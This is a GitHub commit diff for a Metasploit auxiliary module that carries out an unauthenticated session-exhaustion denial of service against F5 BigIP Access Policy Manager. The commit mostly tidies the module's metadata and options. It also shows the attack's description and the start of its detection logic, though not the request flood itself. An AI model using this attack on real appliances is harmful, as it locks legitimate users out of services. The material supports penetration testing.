Skip to content

Commit c0f21c3

Browse files
committed
Fix metadata
1 parent 7fb99cd commit c0f21c3

File tree

1 file changed

+16
-13
lines changed

1 file changed

+16
-13
lines changed

modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb

Lines changed: 16 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -11,14 +11,17 @@ class Metasploit3 < Msf::Auxiliary
1111

1212
def initialize(info = {})
1313
super(update_info(info,
14-
'Name' => 'F5 BigIP APM Unauthenticated Session Exhaustion Denial of Service',
14+
'Name' => 'F5 BigIP Access Policy Manager Session Exhaustion Denial of Service',
1515
'Description' => %q{
16-
An unauthenticated attacker can establish multiple connections with BigIP Access Policy Manager
17-
and exhaust all available sessions defined in customer\'s license.
18-
In the first step of BigIP APM protocol the client sends a HTTP request.
19-
The BigIP system creates a session, marks it as progress (pending) and then redirects client to access policy URI.
20-
Since BigIP allocates a new session after the first unauthenticated request and deletes the session only if an access policy timeout will be expired
21-
the attacker can exhaust all available sessions repeatedly sending initial HTTP request.
16+
This module exploits a resource exhaustion denial of service in F5 BigIP devices. An
17+
unauthenticated attacker can establish multiple connections with BigIP Access Policy
18+
Manager (APM) and exhaust all available sessions defined in customer license. In the
19+
first step of the BigIP APM negotiation the client sends a HTTP request. The BigIP
20+
system creates a session, marks it as pending and then redirects the client to an access
21+
policy URI. Since BigIP allocates a new session after the first unauthenticated request,
22+
and deletes the session only if an access policy timeout expires, the attacker can exhaust
23+
all available sessions by repeatedly sending the initial HTTP request and leaving the
24+
sessions as pending.
2225
},
2326
'Author' =>
2427
[
@@ -33,31 +36,31 @@ def initialize(info = {})
3336
'License' => MSF_LICENSE,
3437
'DefaultOptions' =>
3538
{
36-
'SSLVersion' => 'TLS1'
39+
'SSL' => true,
40+
'SSLVersion' => 'TLS1',
41+
'RPORT' => 443
3742
}
3843
))
3944

4045
register_options(
4146
[
42-
OptPort.new('RPORT', [true, 'The BigIP service port to listen on', 443]),
43-
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
4447
OptInt.new('RLIMIT', [true, 'The number of requests to send', 10000]),
45-
OptBool.new('IGNOREMISMATCH', [true, 'Proceed with attack only if BigIP virtual server was detected', false]),
48+
OptBool.new('FORCE', [true, 'Proceed with attack even if a BigIP virtual isn\'t detected', false])
4649
], self.class)
4750
end
4851

4952
def run
5053
# Main function
5154
rlimit = datastore['RLIMIT']
5255
proto = datastore['SSL'] ? 'https' : 'http'
53-
ignore_mismatch = datastore['IGNOREMISMATCH']
56+
force_attack = datastore['FORCE']
5457

5558
# Send an initial test request
5659
res = send_request_cgi('method' => 'GET', 'uri' => '/')
5760
if res
5861
server = res.headers['Server']
5962
# Simple test based on HTTP Server header to detect BigIP virtual server
60-
unless ignore_mismatch
63+
unless force_attack
6164
if server !~ /BIG\-IP/ && server !~ /BigIP/
6265
print_error("#{peer} - BigIP virtual server was not detected. Please check options")
6366
return

0 commit comments

Comments
 (0)